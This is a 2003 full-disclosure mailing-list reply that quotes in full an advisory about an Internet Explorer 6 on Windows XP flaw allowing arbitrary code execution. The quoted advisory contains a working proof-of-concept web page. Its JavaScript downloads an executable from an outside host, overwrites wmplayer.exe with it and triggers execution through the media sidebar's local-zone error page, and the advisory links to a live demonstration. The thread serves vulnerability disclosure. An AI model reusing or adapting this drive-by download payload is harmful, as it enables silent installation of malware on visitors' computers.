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Re: Internet explorer 6 on windows XP allows exection of arbitrary code
From: "Kristian Hermansen" <khermansen () ht-technology com>
Date: Thu, 11 Sep 2003 20:40:24 -0400
Wow, this one is pretty scary. Nice work putting it together. Does anyone know if Outlook is exploitable with this? I'd think that Outlook would not try to play the media file, but I'm not quite sure. Wow, what a rush of pretty critical bugs lately!!! Kris Hermansen ----- Original Message ----- From: "jelmer" <jkuperus () planet nl> To: <bugtraq () securityfocus com> Cc: <full-disclosure () lists netsys com> Sent: Thursday, September 11, 2003 6:31 PM Subject: [Full-disclosure] Internet explorer 6 on windows XP allows exection of arbitrary code
Internet explorer 6 on windows XP allows exection of arbitrary code DESCRIPTION : Yesterday Liu Die Yu released a number series of advisories concerning internet explorer by combining on of these issues with an earlier issue I myself reported a while back You can construct a specially crafted webpage that can take any action on
a
users system including but not limited to, installing trojans, keyloggers, wiping the users harddrive etc. TECHNICAL EXPLAINATION : Internet explorer 6 comes with a media sidebar in wich you can load and
play
mediaclips without even leaving the browser. when you instruct the mediabar to load a file from an unknown host or the HTTP status returned by an existing host indicates an error this media bar displays an error page inside the media bar namely res://C:\WINDOWS\System32\browselc.dll/mb404.htm#path res URL's are treated as being in the "my computer zone" and are loaded
from
the users filesystem perfect conditions for the issue I describe on http://www.mail-archive.com/full-disclosure () lists netsys com/msg06791.html To work. now all that is needed is a way to inject this exploit code into this page This method was graciously provided by Liu Die Yu as you can read on http://www.securityfocus.com/archive/1/336937/2003-09-08/2003-09-14/0 Combining these issues we get something like : --snip-- <textarea id="code" style="display:none;"> var x = new ActiveXObject("Microsoft.XMLHTTP"); x.Open("GET", "http://ip3e83566f.speed.planet.nl/1.exe",0); x.Send(); var s = new ActiveXObject("ADODB.Stream"); s.Mode = 3; s.Type = 1; s.Open(); s.Write(x.responseBody); s.SaveToFile("C:\\Program Files\\Windows Media
Player\\wmplayer.exe",2);
location.href = "mms://"; </textarea> <script language="javascript"> function preparecode(code) { result = ''; lines = code.split(/\r\n/); for (i=0;i<lines.length;i++) { line = lines[i]; line = line.replace(/^\s+/,""); line = line.replace(/\s+$/,""); line = line.replace(/'/g,"\\'"); line = line.replace(/[\\]/g,"\\\\"); line = line.replace(/[/]/g,"%2f"); if (line != '') { result += line +'\\r\\n'; } } return result; } function doit() { mycode = preparecode(document.all.code.value); myURL = "file:javascript:eval('" + mycode + "')"; window.open(myURL,"_media") } window.open("error.jsp","_media"); setTimeout("doit()", 5000); </script> --snip-- error.jsp is a jsp page that consists of one line, namely <% response.setStatus(HttpServletResponse.SC_UNAUTHORIZED); %> DEMONSTRATION : A demonstration is provided at : http://ip3e83566f.speed.planet.nl/hacked-by-chinese/5.htm WORKAROUND : Disable active scripting or do "the sensible thing" and pick another
browser
such as the excellent mozilla firebird. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
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- Internet explorer 6 on windows XP allows exection of arbitrary code jelmer (Sep 11)
- Re: Internet explorer 6 on windows XP allows exection of arbitrary code Kristian Hermansen (Sep 11)
- Re: Internet explorer 6 on windows XP allows exection of arbitrary code Thor Larholm (Sep 11)
- RE: Internet explorer 6 on windows XP allows exection of arbitrary code Richard M. Smith (Sep 12)
- Re: Internet explorer 6 on windows XP allows exection of arbitrary code Dj MegaWorld (Sep 12)
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- RE: Internet explorer 6 on windows XP allows exection of arbitrary code Richard M. Smith (Sep 12)
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